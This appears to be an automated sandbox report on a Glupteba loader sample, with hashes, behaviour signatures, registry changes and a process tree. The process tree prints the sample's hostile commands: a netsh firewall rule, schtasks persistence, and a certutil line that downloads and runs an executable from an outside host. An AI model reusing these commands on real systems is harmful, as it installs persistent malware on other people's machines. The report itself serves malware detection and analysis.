glupteba | 479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f

General

Target

479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe
Size

3.7MB
MD5

8e52e316baff9c06e2e8354c99d6c10d
SHA1

8c00dab5d2e609cbe3e5f39146fc1b76234da27a
SHA256

479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f
SHA512

cf2b6794b46ad9cfe7bf39434c31088521214df84f17b5521878a9fce3ecce9a8cfea31bc3f2ed2b89d7b3957249cf462a98d3b3c0e4921eafc2ec9185b2619c

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 7 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2272-131-0x0000000001580000-0x0000000001D84000-memory.dmp	family_glupteba
behavioral2/memory/2272-132-0x0000000000400000-0x0000000000C1D000-memory.dmp	family_glupteba
behavioral2/memory/2272-134-0x0000000000400000-0x0000000000C1D000-memory.dmp	family_glupteba
behavioral2/memory/4232-138-0x0000000000400000-0x0000000000C1D000-memory.dmp	family_glupteba
behavioral2/memory/4232-142-0x0000000000400000-0x0000000000C1D000-memory.dmp	family_glupteba
behavioral2/memory/3516-144-0x0000000000400000-0x0000000000C1D000-memory.dmp	family_glupteba
behavioral2/memory/3516-149-0x0000000000400000-0x0000000000C1D000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 1964 created 2272	1964	svchost.exe	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe
PID 1964 created 3516	1964	svchost.exe	csrss.exe
PID 1964 created 3516	1964	svchost.exe	csrss.exe
PID 1964 created 3516	1964	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

3516 csrss.exe
2064 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

4128 netsh.exe

pid	process
3516	csrss.exe
2064	patch.exe

pid	process
4128	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShyStar = "\"C:\\Windows\\rss\\csrss.exe\""	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

1780 bcdedit.exe

pid	process
1780	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe

description	ioc	process
File opened for modification	C:\Windows\rss	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe
File created	C:\Windows\rss\csrss.exe	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe

Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid	pid_target	process	target process
4448	2272	WerFault.exe	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe
4548	4232	WerFault.exe	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4996 schtasks.exe
536 schtasks.exe

pid	process
4996	schtasks.exe
536	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2872 = "Magallanes Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.execsrss.exe

pid	process
2272	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe
2272	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe
4232	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe
4232	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe
3516	csrss.exe
3516	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	2272	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe
Token: SeImpersonatePrivilege	2272	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe
Token: SeTcbPrivilege	1964	svchost.exe
Token: SeTcbPrivilege	1964	svchost.exe
Token: SeBackupPrivilege	1964	svchost.exe
Token: SeRestorePrivilege	1964	svchost.exe
Token: SeBackupPrivilege	1964	svchost.exe
Token: SeRestorePrivilege	1964	svchost.exe
Token: SeSystemEnvironmentPrivilege	3516	csrss.exe
Token: SeBackupPrivilege	1964	svchost.exe
Token: SeRestorePrivilege	1964	svchost.exe
Token: SeBackupPrivilege	1964	svchost.exe
Token: SeRestorePrivilege	1964	svchost.exe
Token: SeBackupPrivilege	1964	svchost.exe
Token: SeRestorePrivilege	1964	svchost.exe
Token: SeBackupPrivilege	1964	svchost.exe
Token: SeRestorePrivilege	1964	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.execmd.execsrss.exe

description	pid	process	target process
PID 1964 wrote to memory of 4232	1964	svchost.exe	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe
PID 1964 wrote to memory of 4232	1964	svchost.exe	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe
PID 1964 wrote to memory of 4232	1964	svchost.exe	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe
PID 4232 wrote to memory of 2184	4232	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe	cmd.exe
PID 4232 wrote to memory of 2184	4232	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe	cmd.exe
PID 2184 wrote to memory of 4128	2184	cmd.exe	netsh.exe
PID 2184 wrote to memory of 4128	2184	cmd.exe	netsh.exe
PID 4232 wrote to memory of 3516	4232	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe	csrss.exe
PID 4232 wrote to memory of 3516	4232	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe	csrss.exe
PID 4232 wrote to memory of 3516	4232	479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe	csrss.exe
PID 1964 wrote to memory of 4996	1964	svchost.exe	schtasks.exe
PID 1964 wrote to memory of 4996	1964	svchost.exe	schtasks.exe
PID 1964 wrote to memory of 536	1964	svchost.exe	schtasks.exe
PID 1964 wrote to memory of 536	1964	svchost.exe	schtasks.exe
PID 1964 wrote to memory of 2064	1964	svchost.exe	patch.exe
PID 1964 wrote to memory of 2064	1964	svchost.exe	patch.exe
PID 3516 wrote to memory of 1780	3516	csrss.exe	bcdedit.exe
PID 3516 wrote to memory of 1780	3516	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe
"C:\Users\Admin\AppData\Local\Temp\479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2272

C:\Users\Admin\AppData\Local\Temp\479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe
"C:\Users\Admin\AppData\Local\Temp\479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4232

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:2184

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:4128

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3516

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:4996

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:536

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:2064

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:1780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 776
3⤵
- Program crash
PID:4548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2272 -s 700
2⤵
- Program crash
PID:4448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 2272 -ip 2272
1⤵
PID:4432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 176 -p 4232 -ip 4232
1⤵
PID:1284

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

Scheduled Task

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe

Filesize
3.7MB

MD5
8e52e316baff9c06e2e8354c99d6c10d

SHA1
8c00dab5d2e609cbe3e5f39146fc1b76234da27a

SHA256
479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f

SHA512
cf2b6794b46ad9cfe7bf39434c31088521214df84f17b5521878a9fce3ecce9a8cfea31bc3f2ed2b89d7b3957249cf462a98d3b3c0e4921eafc2ec9185b2619c

Download Submit
C:\Windows\rss\csrss.exe

Filesize
3.7MB

MD5
8e52e316baff9c06e2e8354c99d6c10d

SHA1
8c00dab5d2e609cbe3e5f39146fc1b76234da27a

SHA256
479ffc21040b0554a5345772a9472d267ff35dd225f5ba87f73109f97b93a39f

SHA512
cf2b6794b46ad9cfe7bf39434c31088521214df84f17b5521878a9fce3ecce9a8cfea31bc3f2ed2b89d7b3957249cf462a98d3b3c0e4921eafc2ec9185b2619c

Download Submit
memory/536-146-0x0000000000000000-mapping.dmp

Download
memory/1780-150-0x0000000000000000-mapping.dmp

Download
memory/2064-147-0x0000000000000000-mapping.dmp

Download
memory/2184-135-0x0000000000000000-mapping.dmp

Download
memory/2272-130-0x00000000011CF000-0x0000000001577000-memory.dmp

Filesize
3.7MB

Download
memory/2272-131-0x0000000001580000-0x0000000001D84000-memory.dmp

Filesize
8.0MB

Download
memory/2272-132-0x0000000000400000-0x0000000000C1D000-memory.dmp

Filesize
8.1MB

Download
memory/2272-134-0x0000000000400000-0x0000000000C1D000-memory.dmp

Filesize
8.1MB

Download
memory/3516-143-0x0000000001600000-0x00000000019A8000-memory.dmp

Filesize
3.7MB

Download
memory/3516-144-0x0000000000400000-0x0000000000C1D000-memory.dmp

Filesize
8.1MB

Download
memory/3516-139-0x0000000000000000-mapping.dmp

Download
memory/3516-149-0x0000000000400000-0x0000000000C1D000-memory.dmp

Filesize
8.1MB

Download
memory/4128-136-0x0000000000000000-mapping.dmp

Download
memory/4232-142-0x0000000000400000-0x0000000000C1D000-memory.dmp

Filesize
8.1MB

Download
memory/4232-137-0x0000000001189000-0x0000000001531000-memory.dmp

Filesize
3.7MB

Download
memory/4232-133-0x0000000000000000-mapping.dmp

Download
memory/4232-138-0x0000000000400000-0x0000000000C1D000-memory.dmp

Filesize
8.1MB

Download
memory/4996-145-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads